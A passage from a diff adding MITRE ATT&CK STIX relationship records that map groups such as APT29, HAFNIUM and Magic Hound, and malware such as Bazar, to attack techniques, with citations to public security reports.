"uses", + "created": "2021-04-16T21:33:50.834Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.", + "source_name": "Microsoft Analyzing Solorigate Dec 2020" + }, + { + "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", + "description": "Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.", + "source_name": "SentinelOne NobleBaron June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5c3df273-cd0b-45ed-b717-d55b49ae596e", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used the Get-ManagementRoleAssignment PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell.(Citation: Volexity SolarWinds)", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "modified": "2021-04-16T21:33:50.795Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-16T21:33:50.795Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0c502277-69af-49df-b1fb-fb94690e37f9", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used cmd.exe to execute commands on remote machines.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2021-04-16T21:33:50.936Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-16T21:33:50.936Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.", + "source_name": "Microsoft Analyzing Solorigate Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4e7404a5-2d19-48cc-b906-ab1aca4f4b08", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has leveraged numerous pieces of malware that appear to be unique to [APT29](https://attack.mitre.org/groups/G0016) and were likely developed for or by the group.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "modified": "2021-10-16T01:00:00.373Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-16T21:33:50.927Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + }, + { + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.", + "source_name": "CrowdStrike SUNSPOT Implant January 2021" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . 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(2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--27105f46-f5a8-4a9d-96b0-9b0837a23331", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "modified": "2021-04-16T21:33:50.993Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-16T21:33:50.993Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. 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(2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + }, + { + "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", + "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.", + "source_name": "Cybersecurity Advisory SVR TTP May 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--532db73a-7b3e-44a5-9115-6c366766a756", + "description": "[Bazar](https://attack.mitre.org/software/S0534) has manually loaded ntdll from disk in order to identity and remove API hooks set by security products.(Citation: NCC Group Team9 June 2020)\t", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "modified": "2021-04-16T21:43:13.711Z", + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-16T21:43:13.711Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. 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Retrieved December 1, 2020.", + "source_name": "NCC Group Team9 June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5ce164a0-967d-4232-860d-7e5903bb3267", + "description": "[Bazar](https://attack.mitre.org/software/S0534)'s loader can delete scheduled tasks created by a previous instance of the malware.(Citation: NCC Group Team9 June 2020)\t", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "modified": "2021-04-16T21:43:13.764Z", + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-16T21:43:13.764Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). 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Retrieved December 1, 2020.", + "source_name": "NCC Group Team9 June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--616bf309-ed87-4573-8640-416e6f05285d", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to click on a malicous link.(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: MSTIC NOBELIUM May 2021)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2021-07-30T19:31:47.277Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-16T21:44:38.728Z", + "external_references": [ + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). 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(2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021.", + "source_name": "BlackBerry Bahamut" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--94a67c86-e7f6-4874-b41f-83a3bfc35be3", + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used rundll32 to load malicious DLLs.(Citation: Volexity Exchange Marauder March 2021)", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "modified": "2021-04-19T20:13:44.480Z", + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-19T20:13:44.480Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.", + "source_name": "Volexity Exchange Marauder March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d7af8f20-9581-4b41-a591-118842f8ba6e", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.(Citation: US District Court Indictment GRU Oct 2018)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2021-04-19T21:59:12.700Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-19T21:59:12.700Z", + "external_references": [ + { + "url": "https://www.justice.gov/opa/page/file/1098481/download", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", + "source_name": "US District Court Indictment GRU Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--088cbe38-25e2-42a0-b65e-252bb1865d18", + "description": "[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "modified": "2021-04-19T22:06:49.161Z", + "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-19T22:06:49.161Z", + "external_references": [ + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.", + "source_name": "Cybereason Molerats Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7acc1226-d784-448e-8aeb-7f58e343c4da", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has embedded malicious code into websites to screen a potential victim's IP address and then exploit their browser if they are of interest.(Citation: Gallagher 2015)", + "target_ref": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", + "modified": "2021-04-20T02:37:12.377Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-20T02:37:12.377Z", + "external_references": [ + { + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "source_name": "Gallagher 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6c4a3ef5-8aee-4fe8-b2c6-386f90c057a4", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has stood up websites containing numerous articles and content scraped from the Internet to make them appear legitimate, but some of these pages include malicious JavaScript to profile the potential victim or infect them via a fake software update.(Citation: Volexity Ocean Lotus November 2020)", + "target_ref": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", + "modified": "2021-04-20T02:54:12.394Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-20T02:54:12.394Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. 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Retrieved February 3, 2021.", + "source_name": "Secureworks COBALT DICKENS September 2019" + }, + { + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", + "source_name": "Malwarebytes Silent Librarian October 2020" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", + "source_name": "Proofpoint TA407 September 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9ed7e90a-8034-48eb-8444-9ec29941a7b8", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting.(Citation: Volexity Ocean Lotus November 2020)", + "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", + "modified": "2021-04-20T03:36:35.464Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-20T03:36:35.464Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. 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Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.", + "source_name": "FBI FLASH APT39 September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--38cf696a-f98d-4b32-a9f1-0183bd78b6d2", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware to drop encrypted CAB files.(Citation: FBI FLASH APT39 September 2020)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2021-04-20T12:38:47.951Z", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-20T12:38:47.951Z", + "external_references": [ + { + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). 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Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. 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Retrieved March 22, 2021.", + "source_name": "reed thiefquest ransomware analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a1c31042-ca50-4bcc-bd05-20eb48c655ef", + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can upload files over the C2 channel.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2021-04-27T01:47:15.612Z", + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-27T01:47:15.612Z", + "external_references": [ + { + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.", + "source_name": "ClearSky Lebanese Cedar Jan 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--33deb846-1334-4eb7-98fc-faff39b3ad16", + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to collect information from the local database.(Citation: ClearSky Lebanese Cedar Jan 2021) ", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2021-04-27T01:47:15.641Z", + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-27T01:47:15.641Z", + "external_references": [ + { + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. 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(2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021.", + "source_name": "CheckPoint Volatile Cedar March 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--00038d0e-7fc7-41c3-9055-edb4d87ea912", + "description": " [Explosive](https://attack.mitre.org/software/S0569) has collected the MAC address from the victim's machine.(Citation: CheckPoint Volatile Cedar March 2015) ", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2021-04-27T01:56:35.810Z", + "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-27T01:56:35.810Z", + "external_references": [ + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021.", + "source_name": "CheckPoint Volatile Cedar March 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc0b1fb2-f987-4d9c-8470-c40c517925d9", + "description": "[Pysa](https://attack.mitre.org/software/S0583) has deleted batch files after execution. (Citation: CERT-FR PYSA April 2020) ", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2021-04-27T03:33:35.204Z", + "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-27T03:33:35.204Z", + "external_references": [ + { + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021.", + "source_name": "CERT-FR PYSA April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fbe555c3-5c7b-44e7-a48f-293bdae9de0c", + "description": "[AppleJeus](https://attack.mitre.org/software/S0584)'s spearphishing links required user interaction to navigate to the malicious website.(Citation: CISA AppleJeus Feb 2021)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2021-04-27T15:46:45.720Z", + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-04-27T15:46:45.720Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). 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(2021, January 8). Charming Kitten\u2019s Christmas Gift. Retrieved May 3, 2021.", + "source_name": "Certfa Charming Kitten January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8e03a9bc-a701-4797-8f0e-0eb17f32ddac", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used SMS and email messages with links designed to steal credentials.(Citation: Certfa Charming Kitten January 2021)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)", + "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "modified": "2021-08-18T19:43:00.229Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-05-03T18:58:02.859Z", + "external_references": [ + { + "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/", + "description": "Certfa Labs. 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Retrieved May 4, 2021.", + "source_name": "Proofpoint TA453 March 2021" + }, + { + "url": "https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453", + "description": "Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.", + "source_name": "Proofpoint TA453 July2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c4b6c967-54d8-4ba5-9016-5d0ef0b6cc0b", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has registered fraudulent domains such as \"mail-newyorker.com\" and \"news12.com.recover-session-service.site\" to target specific victims with phishing attacks.(Citation: Certfa Charming Kitten January 2021)", + "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "modified": "2021-06-02T16:31:56.163Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-05-03T19:10:10.755Z", + "external_references": [ + { + "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/", + "description": "Certfa Labs. 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Retrieved May 3, 2021.", + "source_name": "Certfa Charming Kitten January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--134cc6c4-30f8-4b85-8ea1-da19c3e92af9", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used compromised domains to host links targeted to specific phishing victims.(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 July2021)", + "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", + "modified": "2021-08-18T19:43:00.166Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-05-03T19:39:06.488Z", + "external_references": [ + { + "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", + "description": "ClearSky Research Team. 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Retrieved August 18, 2021.", + "source_name": "Proofpoint TA453 July2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e562688d-a5e3-4a17-95dd-8ef7488e015e", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has created fake LinkedIn and other social media accounts to contact targets and convince them--through messages and voice communications--to open malicious links.(Citation: ClearSky Kittens Back 3 August 2020)", + "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", + "modified": "2021-06-02T16:31:56.156Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-05-03T19:39:06.514Z", + "external_references": [ + { + "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", + "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.", + "source_name": "ClearSky Kittens Back 3 August 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--56d37b60-03e0-4aac-b106-0350c2a4ec46", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has attempted to lure victims into opening malicious email attachments.(Citation: ClearSky Kittens Back 3 August 2020)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-06-02T16:31:56.168Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-05-03T19:55:04.095Z", + "external_references": [ + { + "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", + "description": "ClearSky Research Team. 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The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.", + "source_name": "ClearSky Kittens Back 3 August 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--77a98e76-5a38-40a8-af9a-180c31bf7563", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has attempted to lure victims into opening malicious links embedded in emails.(Citation: ClearSky Kittens Back 3 August 2020)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2021-06-02T16:31:56.223Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-05-03T19:55:04.097Z", + "external_references": [ + { + "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", + "description": "ClearSky Research Team. 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The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.", + "source_name": "ClearSky Kittens Back 3 August 2020" + } + ] + }, + { + "object_marking_refs": [ + 